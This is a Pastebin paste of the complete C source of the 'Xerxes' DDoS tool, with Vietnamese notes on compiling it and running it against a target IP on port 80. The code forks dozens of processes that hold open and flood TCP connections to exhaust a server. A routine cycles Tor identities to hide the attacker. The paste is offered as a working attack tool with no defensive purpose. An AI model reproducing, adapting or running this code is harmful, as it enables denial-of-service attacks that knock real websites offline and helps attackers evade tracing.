Advertisement
Condomenium

.c

Oct 31st, 2016
266
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.52 KB | None | 0 0
  1.  
  2. ######################
  3. ## Code Xerxes DDos ##
  4. ######################
  5.  
  6. Command:
  7. + gcc xerxes.c -o xerxes
  8. + chmod 777 xerxes.c (lệnh này chỉ riêng cho Backtrack và Kali Linux)
  9. + ./xerxes [IP] [Port]
  10. [¡]Lưu ý[¡]
  11. - Cách xem IP: Start => cmd => ping [Host] => IP
  12. - [Port] thì điền vào port 80
  13.  
  14. ############################
  15. ##>>>>>>>>>>CODE<<<<<<<<<<##
  16. ############################
  17.  
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <string.h>
  21. #include <stdint.h>
  22. #include <unistd.h>
  23. #include <netdb.h>
  24. #include <signal.h>
  25. #include <sys/socket.h>
  26. #include <sys/types.h>
  27. #include <netinet/in.h>
  28. #include <arpa/inet.h>
  29.  
  30. int make_socket(char *host, char *port) {
  31. struct addrinfo hints, *servinfo, *p;
  32. int sock, r;
  33. // fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
  34. memset(&hints, 0, sizeof(hints));
  35. hints.ai_family = AF_UNSPEC;
  36. hints.ai_socktype = SOCK_STREAM;
  37. if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
  38. fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
  39. exit(0);
  40. }
  41. for(p = servinfo; p != NULL; p = p->ai_next) {
  42. if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
  43. continue;
  44. }
  45. if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
  46. close(sock);
  47. continue;
  48. }
  49. break;
  50. }
  51. if(p == NULL) {
  52. if(servinfo)
  53. freeaddrinfo(servinfo);
  54. fprintf(stderr, "No connection could be made\n");
  55. exit(0);
  56. }
  57. if(servinfo)
  58. freeaddrinfo(servinfo);
  59. fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
  60. return sock;
  61. }
  62.  
  63. void broke(int s) {
  64. // do nothing
  65. }
  66.  
  67. #define CONNECTIONS 8
  68. #define THREADS 48
  69.  
  70. void attack(char *host, char *port, int id) {
  71. int sockets[CONNECTIONS];
  72. int x, g=1, r;
  73. for(x=0; x!= CONNECTIONS; x++)
  74. sockets[x]=0;
  75. signal(SIGPIPE, &broke);
  76. while(1) {
  77. for(x=0; x != CONNECTIONS; x++) {
  78. if(sockets[x] == 0)
  79. sockets[x] = make_socket(host, port);
  80. r=write(sockets[x], "\0", 1);
  81. if(r == -1) {
  82. close(sockets[x]);
  83. sockets[x] = make_socket(host, port);
  84. } else
  85. // fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
  86. fprintf(stderr, "[%i: Voly Sent]\n", id);
  87. }
  88. fprintf(stderr, "[%i: Voly Sent]\n", id);
  89. usleep(300000);
  90. }
  91. }
  92.  
  93. void cycle_identity() {
  94. int r;
  95. int socket = make_socket("localhost", "9050");
  96. write(socket, "AUTHENTICATE \"\"\n", 16);
  97. while(1) {
  98. r=write(socket, "signal NEWNYM\n\x00", 16);
  99. fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
  100. usleep(300000);
  101. }
  102. }
  103.  
  104. int main(int argc, char **argv) {
  105. int x;
  106. if(argc !=3)
  107. cycle_identity();
  108. for(x=0; x != THREADS; x++) {
  109. if(fork())
  110. attack(argv[1], argv[2], x);
  111. usleep(200000);
  112. }
  113. getc(stdin);
  114. return 0;
  115. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement